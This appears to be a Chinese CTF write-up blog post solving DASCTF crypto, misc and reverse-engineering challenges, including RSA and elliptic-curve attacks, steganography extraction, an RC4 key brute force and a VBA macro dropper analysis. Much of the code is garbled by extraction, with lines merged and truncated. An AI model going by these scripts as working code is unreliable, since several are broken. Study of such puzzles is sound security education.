print(libnum.n2s(int(l)))
#b'e@sy_cuRvL_c0o!'

三、RSA_loss

newm = pow(c, d, n)可以知道m>n,与常规的rsa不同。flag = newm + k * n,计算出k的范围,爆破m的长度。

import libnum
import gmpy2

e = 65537
c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
newm = libnum.s2n(b'X\xee\x1ey\x88\x01dX\xf6i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15')

n = p * q
d = gmpy2.invert(e, (p - 1) * (q - 1))

def decrypt_rsa(c, n, length):
    prefix = b"DASCTF{"
    for l in range(length):
        # 计算两个边界值 f1 和 f2
        f1 = libnum.s2n(prefix + b"\xff" * l + b"}") // n
        f2 = libnum.s2n(prefix + b"\x00" * l + b"}") // n

        k = f2
        m = c + k * n

        while k < f1:
            flag = libnum.n2s(m)

            valid_flag = all(
                48 <= byte <= 57 or 65 <= byte <= 90 or 97 <= byte <= 122 or byte in {95, 123, 125} for byte in flag)

            if valid_flag:
                return flag, k

            # 如果 flag 无效,尝试下一个可能的值
            if m % 256 == ord('}'):
                m += (256 * n)
                k += 256
            else:
                m += n
                k += 1

    return None, None
flag, k = decrypt_rsa(newm, n, 36)

print(flag)
#b'DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}'

四、BabyCurve

先尝试爆破b和c,利用Pohlig-Hellman算法计算离散对数,之后 就是常规的AES中的cbc加密。

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import binascii
import libnum
import hashlib
from Crypto.Util.Padding import unpad

def add_curve(P, Q, K):
    a, d, p = K
    if P == (0, 0):
        return Q
    if Q == (0, 0):
        return P
    x1, y1 = P
    x2, y2 = Q
    x3 = (x1 * y2 + y1 * x2) * pow(1 - d * x1 ** 2 * x2 ** 2, -1, p) % p
    y3 = ((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1 ** 2 * x2 ** 2) + 2 * d * x1 * x2 * (x1 ** 2 + x2 ** 2)) * pow(
        (1 - d * x1 ** 2 * x2 ** 2) ** 2, -1, p) % p
    return x3, y3


def mul_curve(n, P, K):
    R = (0, 0)
    while n > 0:
        if n % 2 == 1:
            R = add_curve(R, P, K)
        P = add_curve(P, P, K)
        n = n // 2
    return R

a = 46
d = 20
p1 = 826100030683243954408990060837
K1 = (a, d, p1)
G1 = (560766116033078013304693968735, 756416322956623525864568772142)
P1 = (528578510004630596855654721810, 639541632629313772609548040620)
Q1 = (819520958411405887240280598475, 76906957256966244725924513645)
for c in range(100):
    if P1 == mul_curve(c, G1, K1):
        print("c =", c)
        break
for b in range(100):
    if Q1 == mul_curve(b, G1, K1):
        print("b =", b)
        break
#c = 35
#b = 98


p = 770311352827455849356512448287

a = -35
b = 98
gx =584273268656071313022845392380
gy =105970580903682721429154563816
px =401055814681171318348566474726
py =293186309252428491012795616690

E = EllipticCurve(GF(p), [a, b])
G = E.gens()[0]
n = E.order()
QA = E(px, py)

factors = list(factor(n))
m = 1
moduli = []
remainders = []

print(f"[+] Running Pohlig Hellman")
print(factors)

for i, j in factors:
    if i > 10**9:
        print(i)
        break
    mod = i**j
    g2 = G*(n//mod)
    q2 = QA*(n//mod)
    r = discrete_log(q2, g2, operation='+')
    remainders.append(r)
    moduli.append(mod)
    m *= mod

r = crt(remainders, moduli)
print(r)
#59260093280148
n = P.order() // factors[-1][0]
#318034270656032

data = {
    'iv': 'bae1b42f174443d009c8d3a1576f07d6',
    'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'
}
for i in range(99999):
    key = hashlib.sha256(str(r).encode()).digest()[:16]
    cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(data['iv']))
    ciphertext = bytes.fromhex(data['cipher'])

    try:
        plaintext_padded = cipher.decrypt(ciphertext)
        plaintext = unpad(plaintext_padded, AES.block_size)
        if plaintext.startswith(b'DASCTF{'):
            print(plaintext.decode('utf-8'))
            break
    except ValueError:
        pass

    r += n
# b'DASCTF{THe_C0rv!_1s_Aw3s0me@!!}

misc

1.hiden

刚拿到题目还不明白txt的名字是什么意思,后来查阅misc常见的加密形式中偶然发现rot47加密和rot13 加密里面的数字加在一起刚好是60,真是长见识了。果断进行解密:

得到一个加密脚本:

import wave

with open('flag.txt', 'rb') as f:

txt data = f.read()

file len = len(txt data)

txt data = file len.to bytes(3, byteorder = 'little') + txt data

with wave.open("test.wav", "rb") as f:

attrib = f.getparams()


wav data = bytearray( f.readframes(-1) )

for index in range(len(txt data)):

    wav data[index * 4] = txt data[index]

    with wave.open("hiden.wav", "wb") as f:

        f.setparams(attrib) 
        f.writeframes(wav data)

直接拉去gpt给我们一个脚本解密:

import wave

\# 打开隐藏了txt数据的wav文件

with wave.open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件 
\hiden\hiden\hiden.wav", "rb") as f:


attrib = f.getparams()


wav data = bytearray(f.readframes(-1))


\# 提取文本数据

txt data = bytearray()


for index in range(0, len(wav data), 4):

txt data.append(wav data[index])


\# 计算原始txt数据的长度 try:

file len = int.from bytes(txt data[:3], byteorder='little') txt data = txt data[3:]

\# 如果提取的数据长度小于原始长度,则截取到实际长度

txt data = txt data[:file len] except (IndexError, ValueError) as e:


print(f"An error occurred while extracting the data: {e}")

exit(1)


\# 将提取的字节写入flag.txt文件

with open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件\hiden\hiden\flagg.txt", 
'wb') as f:


f.write(txt data)

print("flag.txt has been decrypted.")

DASCTF{12jkl-456m78-90n1234}

2.check in:

下载下来发现是一个十六进制文件,直接导入到010中打开查看发现有流量包的字样,但暂时没有思路。
回过头来重新找线索,发现居然在压缩包中有注释:

拉去一个一个试发现是base58解密:

使用webstego来解密文件:

得到一个log日志,那么确定了肯定是用来做流量文件的密钥,考虑可以将十六进制转化为字符串:

def hex to pcapng(hex string, output file):

# 将十六进制字符串转换为字节

bytes data = bytes.fromhex(hex string)

# 将字节写入指定的输出文件

with open(output file, 'wb') as f: f.write(bytes data)

# 示例用法

if name == " main ":

# 读取十六进制字符串(假设从文件中读取)

with open(r"E:\download\Checkin\FLag.txt", 'r') as f: hex string = f.read().strip()

# 检查文件是否以0d0a开头

if hex string.startswith('0d0a'):
# 去掉开头的0d0a

hex string = hex string[4:]
# 打印出 hex string 以供调试
print(f"原始十六进制字符串:{hex string}")

# 清理输入,去掉任何非十六进制字符

hex string = ''.join(filter(lambda x: x in '0123456789abcdefABCDEF', hex string))

# 确保 hex string 的长度为偶数

if len(hex string) % 2 != 0:
print("警告:十六进制字符串长度为奇数,可能导致转换错误。")

去掉最后一个字符(或处理异常)

# 写入pcapng文件

output filename = r"E:\download\Checkin\FLag.pcapng" hex to pcapng(hex string, output filename)

print(f"已成功转换为 {output filename}")

得到pcap文件,然后根据网上教程依次:

“编辑”——“首选项”——“TLS"——填入刚才得到的log日志,然后过滤http后查找flag:


得到一个gif图片 ,导出来一个gif图片

用命令来处理帧:

identify -format "%T " kk.gif > flag.txt 得到一串数字:

换一换数字再进行二进制解码:

5.不一样的数据库_2

下载下来发现加密压缩包直接爆破得到密码:


得到一张


得到字符串,名字提示rot13,解码后得到:



AES@JDHXGD12345&JJJS@JJJSK#JJDKA JKAH 使用keepass打开kdbx文件:


得到密文,并在history中发现密文,结合名字aes,直接解密得到最终flag:


6.so much

下载下来发现是无后缀的文件,010打开观察一下文件:

得到密码,ftk挂载:


输入密码:
1234567发现不对,尝试一下键盘上对应的字符!@#¥%……&:


得到了许多小文件,随便点开几个,没有发现有用的信息,然后注意到时间只有一些微小的差别,考虑 可能隐藏在时间戳中,仔细观察发现分和秒都只有两种情况,将分钟数视为0和1,作为二进制来解密:

00110111 00110000 00110000 00110010 00110010 00111001 01100011 00110000 00110101

00110011 01100010 00110100 01100101 01100010 01100010 01100011 01100110 00110001

01100001 00110011 01100011 01100011 00110011 00110111 01100011 00110011 00111000

00111001 01100011 00110100 01100110 01100001

解密得到:
700229c053b4ebbcf1a3cc37c389c4fa


使用encrypto软件随便解密两个,刚好0和1文件就是flag: DASCTF{85235bd803c2a0662b771396bce9968f}

4.miaoro

下载压缩包,解压得到一个流量包:


老样子查一下flag没有查到有用信息,追踪一下tcp流,在第6个流后发现几个非常长的cookie:


挨个解密看一下有没有可用信息:


发现关键字符串,得到上半部分flag。

同样发现有可疑字符;



GWHT命令,将之后每一个流中的该命令base64解密发现可读字符:


在其中发现一串密码:



同时在流13中发现了一大串回应的报文,同样拉去base64;



得到明显的十六进制数据,但是没有观察到有效的文件头, 把最右侧的十六进制数据取出来,逆序后转十 六进制发现pk关键标识头


稍加修复后保存为压缩包,密码直接用刚才找到的密码即可得到图片,改一下宽高得到后半的flag:



DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}

3.1z_misc

下载下来发现是只有一句谜语,被卡了三个小时(火),尝试了很多方法,后来出了hint终于才勉强明白 出题人的脑洞,直接看图:



是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。

若女可为11,可为1124......觜可为91,亦可为725...结合要求,规律为逆时针转,前面两位为里面的天 干,后两位为外面的星宿,且永远从当前天干的最右边的星宿为1数起,得到密钥:

心胃心奎奎心奎心奎心胃心心心胃心心胃心奎奎奎奎胃奎心奎奎胃奎心奎心奎奎

观察一下发现只有胃没有连着,应该是空格,其他的一个长一个短作为摩斯代码解密得到密钥E@SILY!

解密后得到一个hint和一个无后缀文件,以前见过类似的题目,用lyra工具处理后,把音频用在线的转文
字工具提取出来会发现是一个核心价值观解密,解密即可得到flag。

RE

pic

拿到附件,是一张数据被篡改的png图片和一个可执行文件,于是我们先运 行一下可执行文件,



可以看到没有报错的提示,接下来我们查壳,



没有壳,64bit,直接丢到ida64里分析,然后直接F5大法,


发现并没有什么东西,然后再根据刚刚运行程序的回显来试一试,搜了key, 没找到,再搜了DAS,才搜到,终于拿到伪代码

// main.main

void    fastcall main   main() 
{

int v0; // ebx int v1; // edi int v2; // esi
    int64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p   string; // rax int v10; // ebx 
int v11; // r8d 
int v12; // r9d 
int v13; // r10d 
int v14; // r11d 
int v15; // ecx 
int v16; // r8d 
int v17; // r9d 
int v18; // r10d 
int v19; // r11d
char *ptr; // rbx int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d
    int64 v35; // [rsp-36h] [rbp-C8h] 
    int64 v36; // [rsp-36h] [rbp-C8h] 
    int64 v37; // [rsp-36h] [rbp-C8h] 
    int64 v38; // [rsp-36h] [rbp-C8h] 
    int64 v39; // [rsp-36h] [rbp-C8h] 
    int64 v40; // [rsp-36h] [rbp-C8h] 
    int64 v41; // [rsp-2Eh] [rbp-C0h] 
    int64 v42; // [rsp-26h] [rbp-B8h] char v43; // [rsp+Ah] [rbp-88h] BYREF 
    int64 v44; // [rsp+32h] [rbp-60h] string *v45; // [rsp+3Ah] [rbp-58h]
    int128 v46; // [rsp+42h] [rbp-50h] BYREF


    QWORD v47[2]; // [rsp+52h] [rbp-40h] BYREF 
    QWORD v48[2]; // [rsp+62h] [rbp-30h] BYREF 
    QWORD v49[3]; // [rsp+72h] [rbp-20h] BYREF

while ( (unsigned   int64)&v46 + 8 <= *(    QWORD *)(v3 + 16) )
runtime     morestack   noctxt(); v49[2] = 0LL;
if ( (unsigned      int8)main   isDebuggerPresent() ) os    Exit(0, v0, v4, v1, v2, v5);
v49[0] = &RTYPE     string; v49[1] = &off   4DD470; fmt     Fprintln(
(unsigned int)off   4DD9F8, qword   561D60,
(unsigned int)v49,
1,
1,
(unsigned int)&off  4DD470,
v6, v7, v8, v35);
p   string = (string *)runtime  newobject((const RTYPE *)&RTYPE     string) v45 = p     string;
p   string->ptr = 0LL; 
v48[0] = &RTYPE     ptr     string; v48[1] = p  string;
v10 = qword     561D58;
fmt     Fscan((unsigned int)off     4DD9D8, qword   561D58, (unsigned int)v48, if ( v45->len != 5 )
os  Exit(0, v10, v15, 1, 1, v16); v47[0] = &RTYPE   string;
v47[1] = &off   4DD480;
fmt     Fprintln((unsigned int)off  4DD9F8, qword   561D60, (unsigned int)v ptr = v45->ptr;
v25 = runtime   stringtoslicebyte((unsigned int)&v43, v45->ptr, v45->l v44 = main   NewCipher(v25, (    DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 os     OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v33,
}

可以看到先检测长度是否为5,就是要求我们输入key,但是当我们点进 main_NewCipher函数时,看着像rc4加密,但是没有异或加密的部分,只有初始化init和生成密钥流的部分,于是查看一下汇编,


可以看到有一个花指令,去一下,就可以拿到真正的伪代码了,然后F5,

// main.main

void    fastcall main   main() 
{
int v0; // ebx int v1; // edi int v2; // esi
    int64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p   string; // rax int v10; // ebx 
int v11; // r8d 
int v12; // r9d 
int v13; // r10d 
int v14; // r11d 
int v15; // ecx 
int v16; // r8d 
int v17; // r9d 
int v18; // r10d 
int v19; // r11d
char *ptr; // rbx


int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d 
    int64 v35; // rax 
    int64 v36; // rbx int v37; // r8d int v38; // r9d int v39; // r10d int v40; // r11d 
    int64 All; // rax int v42; // r8d int v43; // r9d int v44; // r10d int v45; // r11d char *v46; // rdx 
    int64 v47; // rax 
    int64 v48; // r11 
    int64 v49; // rsi 
    int64 v50; // rcx 
    int64 i; // rbx 
    int64 v52; // rdx int v53; // r9d int v54; // r10d 
    int64 j; // rbx int v56; // r13d char v57; // si
    int64 v58; // [rsp-36h] [rbp-C8h] 
    int64 v59; // [rsp-36h] [rbp-C8h] 
    int64 v60; // [rsp-36h] [rbp-C8h] 
    int64 v61; // [rsp-36h] [rbp-C8h] 
    int64 v62; // [rsp-36h] [rbp-C8h] 
    int64 v63; // [rsp-36h] [rbp-C8h] 
    int64 v64; // [rsp-36h] [rbp-C8h] 
    int64 v65; // [rsp-36h] [rbp-C8h] 
    int64 v66; // [rsp-36h] [rbp-C8h] 
    int64 v67; // [rsp-2Eh] [rbp-C0h]


        int64 v68; // [rsp-2Eh] [rbp-C0h] 
        int64 v69; // [rsp-2Eh] [rbp-C0h] 
        int64 v70; // [rsp-2Eh] [rbp-C0h] 
    BYTE v71[24]; // [rsp-26h] [rbp-B8h] 
        int64 v72; // [rsp-26h] [rbp-B8h] int v73; // [rsp-Eh] [rbp-A0h]
char v74; // [rsp+0h] [rbp-92h]
char v75; // [rsp+Ah] [rbp-88h] BYREF 
    int64 v76; // [rsp+2Ah] [rbp-68h] 
    int64 v77; // [rsp+32h] [rbp-60h] string *v78; // [rsp+3Ah] [rbp-58h]
    int64 (     golang *v79)(int, int, int, int, int, int, int, int, int,
        int64 v80; // [rsp+4Ah] [rbp-48h] BYREF 
    QWORD v81[2]; // [rsp+52h] [rbp-40h] BYREF 
    QWORD v82[2]; // [rsp+62h] [rbp-30h] BYREF 
    QWORD v83[2]; // [rsp+72h] [rbp-20h] BYREF void (**v84)(void); // [rsp+82h] [rbp-10h]

while ( (unsigned   int64)&v80
runtime     morestack   noctxt(); v84 = 0LL;
if ( (unsigned      int8)main   isDebuggerPresent() os  Exit(0, v0, v4, v1, v2, v5);
v83[0] = &RTYPE     string; v83[1] = &off   4DD470; fmt     Fprintln(
(unsigned int)off   4DD9F8, qword   561D60,
(unsigned int)v83,
1,
1,
(unsigned int)&off  4DD470,
v6, v7, v8, v58);
p   string = (string v78 = p    string;
p   string->ptr = 0LL; 
v82[0] = &RTYPE     ptr     string; v82[1] = p  string;
v10 = qword     561D58;
fmt     Fscan((unsigned int)off     4DD9D8, if ( v78->len != 5 )
os  Exit(0, v10, v15, 1, 1, v16); v81[0] = &RTYPE   string;
v81[1] = &off   4DD480;


fmt     Fprintln((unsigned int)off  4DD9F8, qword   561D60, (unsigned int)v ptr = v78->ptr;
v25 = runtime   stringtoslicebyte((unsigned int)&v75, v78->ptr, v78->l v77 = main   NewCipher(v25, (    DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 v35 = os   OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v79 = main  main    func1;
v80 = v35;
v84 = (void (**)(void))&v79; v36 = v35;
All = io    ReadAll((unsigned int)off   4DD9D8, v35, (unsigned int)&v79, v46 = v78->ptr; 
if ( v78->len <= 1 )
runtime     panicIndex(1LL); v76 = All;
v74 = v46[1];
v47 = runtime   makeslice((unsigned int)&RTYPE  uint8, v36, v36, 0, 1, v49 = v76;
v50 = v36; 
for ( i = 0LL; v50 > i; ++i )
*(  BYTE *)(v47 + i) = v74 ^ *(     BYTE *)(v49 + i); v52 = v77;
v53 = *(unsigned    int8 *)(v77 + 1024); v54 = *(unsigned   int8 *)(v77 + 1025); for ( j = 0LL; v50 > j; ++j )
{
v56 = *(    DWORD *)(v52
v54 += v56;
v57 = *(    BYTE *)(j + v47);
*(  DWORD *)(v52 + 4LL * (unsigned      int8)v53) = 
*(  DWORD *)(v52 + 4LL * (unsigned      int8)v54) = v48 = (unsigned     int8)(v56 + *(  DWORD *)(v52 + 
*(  BYTE *)(v47 + j) = *(   BYTE *)(v52 + 4 * v48)
}
*(  BYTE *)(v52 + 1024) = v53;
*(  BYTE *)(v52 + 1025) = v54;
os  WriteFile((int)"./flag.png", 10, v47, v50, v50, 420, v53, v54, v4 
(*v84)();
}

有两处异或



然后我们就可以写个python脚本进行爆破,爆破的内容就是png文件的文件 头

from itertools import product import string

def init(key):
key     length = len(key) S = list(range(256)) j = 0
for i in range(256): 
j = (j + S[i] + key[i % key     length]) % 256
S[i], S[j] = S[j], S[i] return S



def fff(S, length):
i = j = 0 K = []
for      in range(length): i = (i + 1) % 256
j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i]
K.append(S[(S[i] + S[j]) % 256]) return K



def RC4(key, plaintext):
key = [ord(c) for c in key]
S = init(key)
keystream = fff(S, len(plaintext))


result = bytearray([keystream[i] ^ plaintext[i]


^ 0x11


for i in ra

result = bytearray([b ^ key[1] for b in result]) return result



def find    key     for     png     signature():
"""Try to find the key by matching the PNG signature""" table = string.digits + "abcdef"
target  signature = bytes([0x89, 0x50, 0x4E, 0x47])

with open("1.png", 'rb') as f: enc = f.read(4)

print("Trying all possible keys...") for s in product(table, repeat=5):
key = "".join(s)
decrypted = RC4(key, enc) 
if decrypted[:4] == target  signature:
print(f"Found key: {key}") break
else:
print("No valid key found.")



if      name     == "   main    ":
find key for png signature()

拿到密钥


运行程序,输入密钥,图片的数据进行修改拿到flag



docCrack WP

拿到附件,是一个docm文件,第一反应就是考察宏代码,刚好题目也说是老 东西,于是乎就用olevba“一把梭”了,

然后打开得到的txt文件,开始分析,可以看到有一个异或,异或7,

然后还有一个把所有字符串合在一起,就是这个xpkdb

然后将所有字符保存起来,运行指令


得到一个exe文件了,然后就直接用ida分析了

int     fastcall main   0(int argc, const char **argv, const char **envp) 
{
char *v3; // rdi
    int64 i; // rcx
char v6; // [rsp+20h] [rbp+0h] BYREF int v7[125]; // [rsp+30h] [rbp+10h] int j; // [rsp+224h] [rbp+204h]

v3 = &v6;
for ( i = 138i64; i; --i ) 
{
*)v3 = -858993460;

}
j   CheckForDebuggerJustMyCode(&unk     14002200E, argv, envp); v7[0] = 4288;
v7[1] = 4480; v7[2] = 5376; v7[3] = 4352; v7[4] = 5312; v7[5] = 4160; v7[6] = 7936; v7[7] = 5184; v7[8] = 6464; v7[9] = 6528; v7[10] = 5632; v7[11] = 3456; v7[12] = 7424; v7[13] = 5632; v7[14] = 6336; v7[15] = 6528; v7[16] = 6720; v7[17] = 6144; v7[18] = 6272; v7[19] = 7488; v7[20] = 6656; v7[21] = 7296; v7[22] = 7424; v7[23] = 2432; v7[24] = 2432; v7[25] = 2432; v7[26] = 5632; v7[27] = 4416; v7[28] = 3456; v7[29] = 7168; v7[30] = 6528;


v7[31] = 7488; v7[32] = 6272; v7[33] = 5632; v7[34] = 3520; v7[35] = 6208; v7[36] = 5632; v7[37] = 4736; v7[38] = 6528; v7[39] = 6400; v7[40] = 7488; v7[41] = 3520; v7[42] = 5632; v7[43] = 5184; v7[44] = 3456; v7[45] = 7488; v7[46] = 7296; v7[47] = 3200; v7[48] = 6272; v7[49] = 7424; v7[50] = 2432; v7[51] = 2432; v7[52] = 2432; v7[53] = 7808; if ( argc == 2 ) 
{
for ( j = 0; j < (int)j     strlen(argv[1])
v7[j + 64] = argv[1][j] << 6; for ( j = 0; (unsigned    int64)j < 
{
if ( v7[j] != v7[j + 64] ) 
{
sub     140011190("bad"); return 0;
}
}
sub     140011190("good"); return 0;
}
else
{
sub     140011190("no way!!!"); return 1;
}
}

就是一个位移,然后就可以写脚本了,很简单,

enc = [0] * 54
enc[0] = 4288
enc[1] = 4480
enc[2] = 5376
enc[3] = 4352
enc[4] = 5312
enc[5] = 4160
enc[6] = 7936
enc[7] = 5184
enc[8] = 6464
enc[9] = 6528
enc[10] = 5632
enc[11] = 3456
enc[12] = 7424
enc[13] = 5632
enc[14] = 6336
enc[15] = 6528
enc[16] = 6720
enc[17] = 6144
enc[18] = 6272
enc[19] = 7488
enc[20] = 6656
enc[21] = 7296
enc[22] = 7424
enc[23] = 2432
enc[24] = 2432
enc[25] = 2432
enc[26] = 5632
enc[27] = 4416
enc[28] = 3456
enc[29] = 7168
enc[30] = 6528
enc[31] = 7488
enc[32] = 6272
enc[33] = 5632
enc[34] = 3520
enc[35] = 6208
enc[36] = 5632
enc[37] = 4736
enc[38] = 6528
enc[39] = 6400
enc[40] = 7488
enc[41] = 3520
enc[42] = 5632
enc[43] = 5184
enc[44] = 3456


enc[45] = 7488 enc[46] = 7296 enc[47] = 3200 enc[48] = 6272 enc[49] = 7424 enc[50] = 2432 enc[51] = 2432 enc[52] = 2432 enc[53] = 7808 for i in enc:
print(chr((i >> 6) ^ 7), end="")

flag:DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

你这主函数保真么 WP

拿到附件,我们就是一个可执行文件,运行一下,看看回显,可以看到有个 长度判断。查壳,


没有壳,32位,直接丢进ida32分析,直接F5,看到的是

可是当我们看到左边函数窗口,有一些很可疑的函数名,


一一查看下来,可以知道,encrypt(std::vector const&)函数是一个DCT, rot13_encrypt函数就是和它名字一样,rot,然后就是 tcf_0....再一个就是 _GLOBAL_sub_I_flag函数,这个函数也是最奇怪的,点进来一看


Test::Test函数是输入和检测长度的功能, tcf_2函数里面却是判断正误的地 方,Test2::Test2里就是rot,然后DCT在 tcf_3里,这就很奇怪了,程序运行 顺序完全乱了,这就真的应了题目名称所说你这主函数包真吗,后来搜索 atexit函数的作用才知道,该函数注册的函数会在程序结束的时候进行逆序的 运行,逆序的序就是函数注册的顺序,那这就可以理解了,输入的flag,先
进行了rot加密,然后再来一次dct加密,最后进行比对,比对的数据就是 check数组,那么我们就可以写解密脚本了

import numpy as np

def idct(dct    coeffs): N = len(dct    coeffs)
original = np.zeros(N) PI = np.pi

for n in range(N): sum  val = 0.0 
for k in range(N):
Ck = (1.0 / np.sqrt(N)) if k == 0 else np.sqrt(2.0 / N) sum     val += Ck * dct     coeffs[k] * np.cos(PI * k * (2.0 * n +
original[n] = sum   val return original

def vector  to  string(vec):
result = '' for val in vec:
ascii   val = int(round(val)) if 32 <= ascii    val <= 126:

result += chr(ascii     val) return result

def rot13(input     str): output = ''
for c in input  str: if 'a' <= c <= 'z':
output += chr((ord(c) elif 'A' <= c <= 'Z':
output += chr((ord(c) else:
output += c return output

def main(): enc = [
513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.9864 15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20 
-4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.74 
-9.75476, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.68 26.8296
]

original = idct(enc)
original    string = vector     to  string(original) decrypted      string = rot13(original     string)

print("Decrypted string:", decrypted    string)

if      name     == "   main    ": main()

得到flag
DASCTF{Wh0_1sMa1n@nd_FunnY_Dct}



题目附件地址:链接: https://pan.baidu.com/s/1DyWeste-n9tM3UpoZtlM5g 提取码: 761f


posted @ 2024-10-04 16:02  渗透测试中心  阅读(93)  评论(0编辑  收藏  举报